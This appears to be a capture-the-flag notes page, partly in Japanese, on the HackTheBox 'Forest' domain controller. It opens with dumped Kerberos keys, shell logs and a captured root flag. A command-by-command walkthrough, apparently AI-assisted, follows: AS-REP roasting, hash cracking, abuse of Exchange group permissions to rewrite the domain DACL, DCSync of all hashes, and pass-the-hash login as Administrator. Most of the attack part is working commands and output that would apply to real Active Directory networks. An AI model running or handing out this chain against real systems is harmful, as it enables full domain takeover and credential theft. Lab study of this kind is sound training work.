htb.local\svc-alfresco:des-cbc-md5:014ac86d0b98294a
htb.local\andy:aes256-cts-hmac-sha1-96:ca2c2bb033cb703182af74e45a1c7780858bcbff1406a6be2de63b01aa3de94f
htb.local\andy:aes128-cts-hmac-sha1-96:606007308c9987fb10347729ebe18ff6
htb.local\andy:des-cbc-md5:a2ab5eef017fb9da
htb.local\mark:aes256-cts-hmac-sha1-96:9d306f169888c71fa26f692a756b4113bf2f0b6c666a99095aa86f7c607345f6
htb.local\mark:aes128-cts-hmac-sha1-96:a2883fccedb4cf688c4d6f608ddf0b81
htb.local\mark:des-cbc-md5:b5dff1f40b8f3be9
htb.local\santi:aes256-cts-hmac-sha1-96:8a0b0b2a61e9189cd97dd1d9042e80abe274814b5ff2f15878afe46234fb1427
htb.local\santi:aes128-cts-hmac-sha1-96:cbf9c843a3d9b718952898bdcce60c25
htb.local\santi:des-cbc-md5:4075ad528ab9e5fd
FOREST$:aes256-cts-hmac-sha1-96:9ee7e7f563416832392eb2bab12c5ecb6199ee9a2b67cb006a2a92f90f48d7ac
FOREST$:aes128-cts-hmac-sha1-96:5a1a3ec2f72680ce37657c5e3be2662f
FOREST$:des-cbc-md5:31f2da61bc38163b
EXCH01$:aes256-cts-hmac-sha1-96:1a87f882a1ab851ce15a5e1f48005de99995f2da482837d49f16806099dd85b6
EXCH01$:aes128-cts-hmac-sha1-96:9ceffb340a70b055304c3cd0583edf4e
EXCH01$:des-cbc-md5:8c45f44c16975129
[*] Cleaning up...
┌──(kali@kali)-[~/htb/Forest/10.129.56.26]
└─$
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net group "Exchange Windows Permissions" svc-alfresco /add /domain
The command completed successfully.
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net group "Exchange Windows Permissions"
Group name Exchange Windows Permissions
Comment This group contains Exchange servers that run Exchange cmdlets on behalf of users via the management service. Its members have permission to read and modify all Windows accounts and groups. This group should not be deleted.
Members
-------------------------------------------------------------------------------
svc-alfresco
The command completed successfully.
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> Add-DomainObjectAcl -TargetIdentity 'DC=htb,DC=local' -PrincipalIdentity svc-alfresco -Rights All
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> Add-DomainObjectAcl -TargetIdentity 'DC=htb,DC=local' -PrincipalIdentity svc-alfresco -Rights All -Verbose
Verbose: [Get-DomainSearcher] search base: LDAP://DC=htb,DC=local
Verbose: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=svc-alfresco)(name=svc-alfresco)(displayname=svc-alfresco))))
Verbose: [Get-DomainSearcher] search base: LDAP://DC=htb,DC=local
Verbose: [Get-DomainObject] Extracted domain 'htb.local' from 'DC=htb,DC=local'
Verbose: [Get-DomainSearcher] search base: LDAP://DC=htb,DC=local
Verbose: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=DC=htb,DC=local)))
Verbose: [Add-DomainObjectAcl] Granting principal CN=svc-alfresco,OU=Service Accounts,DC=htb,DC=local 'All' on DC=htb,DC=local
Verbose: [Add-DomainObjectAcl] Granting principal CN=svc-alfresco,OU=Service Accounts,DC=htb,DC=local rights GUID '00000000-0000-0000-0000-000000000000' on DC=htb,DC=local
Verbose: [Add-DomainObjectAcl] Error granting principal CN=svc-alfresco,OU=Service Accounts,DC=htb,DC=local 'All' on DC=htb,DC=local : Exception calling "CommitChanges" with "0" argument(s): "Access is denied.
"
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net group "Exchange Windows Permissions"
Group name Exchange Windows Permissions
Comment This group contains Exchange servers that run Exchange cmdlets on behalf of users via the management service. Its members have permission to read and modify all Windows accounts and groups. This group should not be deleted.
Members
-------------------------------------------------------------------------------
svc-alfresco
The command completed successfully.
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> exit
Info: Exiting with code 0
┌──(kali@kali)-[~/htb/Forest/10.129.95.210]
└─$ evil-winrm -i 10.129.56.26 -u svc-alfresco -p s3rvice
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net group "Exchange Windows Permissions"
Group name Exchange Windows Permissions
Comment This group contains Exchange servers that run Exchange cmdlets on behalf of users via the management service. Its members have permission to read and modify all Windows accounts and groups. This group should not be deleted.
Members
-------------------------------------------------------------------------------
svc-alfresco
The command completed successfully.
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> Add-DomainObjectAcl -TargetIdentity 'DC=htb,DC=local' -PrincipalIdentity svc-alfresco -Rights All -Verbose
The term 'Add-DomainObjectAcl' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.
At line:1 char:1
+ Add-DomainObjectAcl -TargetIdentity 'DC=htb,DC=local' -PrincipalIdent ...
+ ~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : ObjectNotFound: (Add-DomainObjectAcl:String) [], CommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> . .\PowerView.ps1
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> Add-DomainObjectAcl -TargetIdentity 'DC=htb,DC=local' -PrincipalIdentity svc-alfresco -Rights All -Verbose
Verbose: [Get-DomainSearcher] search base: LDAP://DC=htb,DC=local
Verbose: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=svc-alfresco)(name=svc-alfresco)(displayname=svc-alfresco))))
Verbose: [Get-DomainSearcher] search base: LDAP://DC=htb,DC=local
Verbose: [Get-DomainObject] Extracted domain 'htb.local' from 'DC=htb,DC=local'
Verbose: [Get-DomainSearcher] search base: LDAP://DC=htb,DC=local
Verbose: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=DC=htb,DC=local)))
Verbose: [Add-DomainObjectAcl] Granting principal CN=svc-alfresco,OU=Service Accounts,DC=htb,DC=local 'All' on DC=htb,DC=local
Verbose: [Add-DomainObjectAcl] Granting principal CN=svc-alfresco,OU=Service Accounts,DC=htb,DC=local rights GUID '00000000-0000-0000-0000-000000000000' on DC=htb,DC=local
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents>
WriteOwner
ユーザとグループとHTB.LOCALへの
GenerilAll
bloodyad
impacket-owneredit
Set-DomainObjectOwner
User(sebastien)
bloodyad --host 10.129.56.26 -d htb.local -u svc-alfresco -p 's3rvice' set owner sebastien svc-alfresco
bloodyad --host 10.129.56.26 -d htb.local -u svc-alfresco -p 's3rvice' set owner 'Exchange Windows Permissions' svc-alfresco
bloodyad --host 10.129.56.26 -d htb.local -u svc-alfresco -p 's3rvice' set owner 'DC=htb,DC=local' svc-alfresco
impacket-owneredit -action write -new-owner svc-alfresco -target sebastien -dc-ip 10.129.56.26 'htb.local/svc-alfresco:s3rvice'
impacket-owneredit -action write -new-owner svc-alfresco -target 'Exchange Windows Permissions' -dc-ip 10.129.56.26 'htb.local/svc-alfresco:s3rvice'
impacket-owneredit -action write -new-owner svc-alfresco -target-dn 'DC=htb,DC=local' -dc-ip 10.129.56.26 'htb.local/svc-alfresco:s3rvice'
. .\PowerView.ps1
Set-DomainObjectOwner -Identity sebastien -OwnerIdentity svc-alfresco
Set-DomainObjectOwner -Identity 'Exchange Windows Permissions' -OwnerIdentity svc-alfresco
Set-DomainObjectOwner -Identity 'DC=htb,DC=local' -OwnerIdentity svc-alfresco
administrator
32693b11e6aa90eb43d32c72a07ceea6
evil-winrm -i 10.129.56.26 -u adminisrator -H 32693b11e6aa90eb43d32c72a07ceea6
flag検索
cmd /c "dir C:\Users\user.txt /s /b"
cmd /c "dir C:\user.txt /s /b"
*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
ab2a531db99a2e6a41b4d7aac13d8e35
*Evil-WinRM* PS C:\Users\Administrator\Desktop>
walkthrough(AI)¶
1. Nmap¶
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-10-14 23:02:31Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
49680/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49681/tcp open msrpc Microsoft Windows RPC
49685/tcp open msrpc Microsoft Windows RPC
49700/tcp open msrpc Microsoft Windows RPC
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: FOREST
| NetBIOS computer name: FOREST\x00
| Domain name: htb.local
| Forest name: htb.local
| FQDN: FOREST.htb.local
|_ System time: 2026-10-14T16:03:21-07:00
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Kerberos、LDAP、SMB、WinRMが開いているため、Active Directoryのドメインコントローラーとして列挙する。
2. 時刻同期¶
Nmapの結果から、攻撃端末とドメインコントローラーの時刻にずれがある。
Host script results:
|_clock-skew: 5m49s
sudo ntpdate -q 10.129.56.26
date
sudo ntpdate 10.129.56.26
date
Kerberosは時刻ずれに弱いため、列挙や認証の前にドメインコントローラーへ時刻を合わせる。
3. Anonymous RPCでユーザーを列挙¶
Null Sessionでドメインユーザーを取得し、AS-REP Roast用のリストを作る。
rpcclient -U "" -N 10.129.56.26 -c "enumdomusers" | awk -F'[][]' '/user:/{print $2}' > users.txt
4. svc-alfrescoをAS-REP Roast¶
列挙したユーザーへ事前認証なしでTGTを要求する。svc-alfresco のAS-REP hashだけが取得できる。
impacket-GetNPUsers htb.local/ -usersfile users.txt -dc-ip 10.129.56.26 -no-pass -format hashcat -outputfile asrep.hash
hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt
svc-alfresco:s3rvice
5. WinRMでuser flagを取得¶
evil-winrm -i 10.129.56.26 -u svc-alfresco -p 's3rvice'
cat C:\Users\svc-alfresco\Desktop\user.txt
6. BloodHoundで権限経路を確認¶
svc-alfresco の資格情報でActive Directory情報を収集する。
bloodhound-python -u svc-alfresco -p 's3rvice' -d htb.local -ns 10.129.56.26 -dc forest.htb.local -c All --zip
svc-alfresco は入れ子のグループを通じて Account Operators に所属している。そこから Exchange Windows Permissions への GenericAll、さらにドメインへの WriteDacl がつながる。

7. Exchange Windows Permissionsへ追加¶
Account Operators の GenericAll を使い、svc-alfresco を Exchange Windows Permissions に追加する。
bloodyad --host 10.129.56.26 -d htb.local -u svc-alfresco -p 's3rvice' add groupMember 'Exchange Windows Permissions' svc-alfresco
WinRMで接続済みなら、次のコマンドでも同じグループ追加ができる。
net group "Exchange Windows Permissions" svc-alfresco /add /domain
8. ドメインDACLを書き換える¶
Exchange Windows Permissions の WriteDacl を使い、ドメインオブジェクトに GenericAll を付与する。これによりDCSyncが可能になる。同じドメインDACLの変更は、impacket-dacledit でも実行できる。
bloodyad --host 10.129.56.26 -d htb.local -u svc-alfresco -p 's3rvice' add genericAll 'DC=htb,DC=local' svc-alfresco
impacket-dacledit -action write -rights FullControl -principal svc-alfresco -target-dn 'DC=htb,DC=local' -dc-ip 10.129.56.26 'htb.local/svc-alfresco:s3rvice'
WinRMで接続済みなら、PowerViewを転送して Add-DomainObjectAcl でも同じACL追加ができる。
cp -v /usr/share/windows-resources/powersploit/Recon/PowerView.ps1 .
evil-winrm -i 10.129.56.26 -u svc-alfresco -p s3rvice
upload PowerView.ps1
. .\PowerView.ps1
Add-DomainObjectAcl -TargetIdentity 'DC=htb,DC=local' -PrincipalIdentity svc-alfresco -Rights All -Verbose
9. AdministratorのNTLM hashを取得¶
ドメインオブジェクトに GenericAll が付与されたため、DCSyncが可能になる。
impacket-secretsdump -just-dc 'htb.local/svc-alfresco:s3rvice@10.129.56.26'
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
10. Pass-the-Hashでroot flagを取得¶
evil-winrm -i 10.129.56.26 -u Administrator -H 32693b11e6aa90eb43d32c72a07ceea6
cat C:\Users\Administrator\Desktop\root.txt
drill¶
TBD